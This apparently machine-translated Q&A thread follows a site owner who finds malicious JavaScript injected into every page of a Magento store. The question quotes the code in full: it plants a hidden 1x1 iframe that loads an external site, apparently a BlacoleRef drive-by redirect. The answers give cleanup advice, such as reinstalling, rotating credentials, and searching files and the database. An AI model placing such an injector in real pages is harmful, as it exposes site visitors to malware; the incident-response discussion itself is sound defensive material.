1

今日、クライアントから電話があり、バックエンドの一部の機能が突然機能しなくなったとのことでした。ざっと見てみると、ウェブサイトの最後のhtmlタグの下に悪意のあるコードが含まれていることがわかりました。これがコードです。

<script type="text/javascript">     
    (function () {
        var zg = document.createElement('iframe');
        zg.src = 'http://impactrl.de/chat/esd.php';
        zg.style.position = 'absolute';
        zg.style.border = '0';    zg.style.height = '1px';
        zg.style.width = '1px';    zg.style.left = '1px';
        zg.style.top = '1px';
        if (!document.getElementById('zg')) {
            document.write('<div id=\'zg\'></div>');
            document.getElementById('zg').appendChild(zg);
        }})();
</script>

私のクライアントはまた、彼が彼のデスクトップから彼の店を運営することを可能にするいくつかのソフトウェアをダウンロードしたと私に言いました。私の賭けは、これが問題だということです。

ただし、そのコードを削除したいのですが、どのファイルにも見つかりません。すべてのバックエンドとフロントエンドのページにあります。

誰かが私がどのファイルで見なければならないか知っていますか?

4

4 に答える 4

1

これははるかに大きな問題の悪臭を放ちます。不明なサーバーからリソースを取得する不明なコードをWebサイトで見つけた場合は、セキュリティ上の問題があります。セキュリティの問題は十分に悪いニュースですが、eコマースを行っているサイトではまったく受け入れられない状況です。

この時点で安全に行うことができるのは、サーバーをワイプして最初からインストールすることだけです。最新の完全にパッチが適用されたOS、Apache、PHP、およびMagentoのインストールを使用していることを確認してください。

バックアップがある場合(私はあなたがそうすることを願っています)、何かがうまくいかない前からのバックアップから始めるのが良いかもしれません。サーバーをオフラインにし、バックアップを復元してから、すべてのコンポーネントを最新バージョンに更新します。そうして初めて、サーバーをオンラインに戻すことが安全になります。

于 2012-12-11T15:17:20.877 に答える
1

これは、Webサイトのコードベースとデータベースを頻繁かつ常にバックアップする理由の代表的な例です。実際には、コードがどこから来ているのかわからない場合は、複数の挿入ポイントやその他のものが台無しになっているのかどうかもわかりません。すべてのログインおよびアクセス資格情報(ssh、ftp、mysql、cPanel、メンテナンスに使用されるコンピューター(自宅で適切なサイトクラックが開始され、マルウェアをスキャン))を変更し、システムをワイプして再インストールします。

それを100%後知恵として脇に置き、これがどこから来ているのかを探している場合:

最初のステップは、コードベース(基本的にはMagentoだけでなく、サーバー上のどこからでも何でも含めることができるテキストファイル)をgrepman grepsshプロンプトで使用方法の説明を求めて)行うことです。grepほとんどのサイトクラッカーはコードの寿命を少し長くしたいので、エクスプロイトで見つかった文字列だけでなく、挿入された難読化されたコードの兆候も探す必要があります。わかりにくく、見つけやすいほど良いです。

2番目のステップはdiff、このサイトが在庫に近い場合に新しいコードベースに対抗することです。別のフォルダーに、実行しているMagentoバージョンの新しい解凍をdiffインストールしてから、ライブインストールと新しいものの間のメインディレクトリでを実行できます。異なるすべてのファイルを検索するためのコードベース。Inchooには、grepを使用してコードの違いを探す方法に関する記事があります。使用する基本的なコマンドは、カスタムテンプレートの古い保存済みコピーに対してもdiff -qrbB contaminated\code\location fresh\code\location使用できます。diff

3番目のステップは、テンプレートファイルに含まれていない可能性があることを考慮することです。誰かがバックエンドを使用して、コードを含めるためのいくつかのページ構成テキスト領域の1つにコードを配置し、CMSブロックを追加してからそれへの参照を追加し、ドライブを介してシステムにコードを取得した、侵害されたログインを見ています。 -コード挿入により、別のWebサイトからXSSコードインクルード用にデータベースに何かを挿入するか、MySQLへの外部公開ポートがある場合は、データベースログイン資格情報を持ち、自由に何でも挿入できます。データベースダンプをgrep実行し、文字列のSQLコードを実行することは、これらを見つけるためのもう1つのツールです。

于 2012-12-11T16:39:16.397 に答える
1

クライアントのページでまったく同じ問題が発生し、 JS/BlacoleRef.F.3に感染していました。私もMagentoを使用していないので、問題はそれに関連していないと思います。だから私は壊れたHTMLファイルを復元しただけで、今のところうまくいったようです。

于 2012-12-11T18:05:26.083 に答える
0

DOMに挿入されないようにする方法を確実に見つける必要があります。Chromeでは、インスペクターに優れたリソースの概要があります。

安全のために、ページ内の他のiframeを確認し、common.cssを追加することができます#zg{ display: none; }。または、

複数のiFrameがある場合は、JSを使用document.getElementsByTagName("IFRAME")してそれらを使用およびループし、指定されたsrc値を持つものを削除できます。

更新:
Chromeは、これがすべてのJSファイルに追加されていることを確認します。これでサーバーから送信されると解釈します。私はそれがJSに関連しているとは思わない。

ここに画像の説明を入力してください

于 2012-12-11T15:09:35.100 に答える